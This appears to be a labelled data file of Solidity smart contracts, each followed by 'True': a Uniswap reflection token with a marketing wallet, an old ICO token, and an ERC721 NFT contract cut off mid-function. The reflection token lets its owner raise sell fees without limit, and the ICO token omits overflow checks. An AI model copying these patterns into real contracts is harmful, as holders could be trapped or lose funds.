Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // contract implementation contract BabyYachtClub is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; // string private _name = "BabyYachtClub"; // name string private _symbol = "BYacht"; // symbol uint256 private _tTotal = 1000 * 10**9 * 10**uint256(_decimals); // total supply // % to holders uint256 public defaultTaxFee = 2; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; // % to swap & send to marketing wallet uint256 public defaultMarketingFee = 4; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; uint256 public _marketingFee4Sellers = 8; bool public feesOnSellersAndBuyers = true; uint256 public _maxTxAmount = _tTotal.div(1).div(100); uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100); address payable public marketingWallet = payable(0x5f49cb4284DDB68F398a5f1ce2927eD01c773622); // Wallet // mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; event SwapAndSendEnabledUpdated(bool enabled); modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } //to recieve ETH receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + send lock? // also, don't get caught in a circular sending event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; if (recipient == uniswapV2Pair) { // sell _marketingFee = _marketingFee4Sellers; } } function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), contractTokenBalance); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, // accept any amount of ETH path, address(this), block.timestamp ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { marketingWallet.transfer(contractETHBalance); } } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() { defaultMarketingFee = marketingFee; } function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() { _marketingFee4Sellers = marketingFee4Sellers; } function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() { feesOnSellersAndBuyers = _enabled; } function setSwapAndSendEnabled(bool _enabled) public onlyOwner() { SwapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() { numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing; } function _setMarketingWallet(address payable wallet) external onlyOwner() { marketingWallet = wallet; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }

True

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pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract StatusSecurity is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? uint256 public totalSupply; // This is a constructor function // which means the following function name has to match the contract name declared above function StatusSecurity() { balances[msg.sender] = 1000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 1000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "Status Security"; // Set the name for display purposes (CHANGE THIS) decimals = 8; // Amount of decimals for display purposes (CHANGE THIS) symbol = "STS"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 30000000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }

True

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//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721) // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; contract IFFrog is ERC721URIStorage, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIds; string private baseURI = "https://funkyfilmfrogs.io/NFT/ICONIC/"; constructor() ERC721("Iconic Film Frogs", "IFFrog") {} function mintNFT(address recipient) public onlyOwner returns (uint256) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(recipient, newItemId); return newItemId; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setBaseURI(string memory newBaseURI) public onlyOwner { baseURI = newBaseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory base_URI = _baseURI(); return bytes(base_URI).length > 0 ? string(abi.encodePacked(base_URI, tokenId.toString(),".json")) : ""; } function burn(uint256 tokenId) public onlyOwner { require(_exists(tokenId), "Nonexistent token"); _burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if 